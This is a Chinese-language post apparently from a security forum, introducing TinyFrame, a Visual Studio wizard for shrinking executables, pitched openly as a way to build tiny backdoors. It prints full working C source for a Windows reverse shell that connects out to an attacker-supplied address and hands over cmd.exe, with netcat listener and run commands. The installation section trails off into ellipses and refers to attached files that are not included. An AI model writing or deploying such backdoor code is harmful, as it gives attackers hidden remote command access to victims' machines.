花一个周未时间写了个TinyFrame
Made By ZwelL
一. 说明
TinyFrame是一个能生成最小程序的工程框架, 它是基于VS.NET环境的工程向导.用在一些小型的程序中,
能将程序大小减到最小. 我们知道, 在VC.NET环境中生成一个命令行工程, 即使是最简单的Hello
World程序最终生成的可执行文件也非常大. 像下面这个例子:
#include <stdio.h>
int main()
{
printf("Hello world!");
return 0;
}
我们可以看到, Debug程序最终生成大小为104 K, 而Release版本生成的大小也有36 K, 这与我们想像的相差太大.
如果我们做一个命令行的后门程序或者一些小工具, 预想的大小就几K大小,但是最终生成的大小却大出很多,这显然是不能接受的.
而现在大多数大家用的命令行工具都非常小,一个后门也就几K大小.大家想不想做出自己的微型后门呢?
当然你可以参考我在安焦论坛上面的一篇关于减小程序大小的文章,不过每都那样设置实在是很麻烦.这里,我给大家提供的这个程序就能达到这个目的,只通过向
导就能生成最小化程序框架.
二. 实例说明
大家再来看一下下面的这个程序,:
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)))
return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
它的功能很简单,就是反向连接.
先用NC监听端口:
Nc.exe –lp 5555
再以命令行执行该程序:
Sameple.exe 127.0.0.1 5555
最终获取一个CmdShell
我们先用Release版本生成, 最终生成大小23 K. 我们再用TinyFrame生成一次, 最终大小: 1.50 KB, 很诱人了对不对. 呵呵, 下面就说一说安装及使用过程.
三. 安装
我用winrar制做成了一个自释放包, 大家在释放过程中,将释放路径设置在VC所安装的目录,比方说我安装的目录是: C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7
..........
..........
..........
具体使用说明请看附件中的帮助文档...
附近内容:
TingFrame.pdf 说明文档
TinyFrame_vc7.exe 安装文件,安装说明请看说明文档
---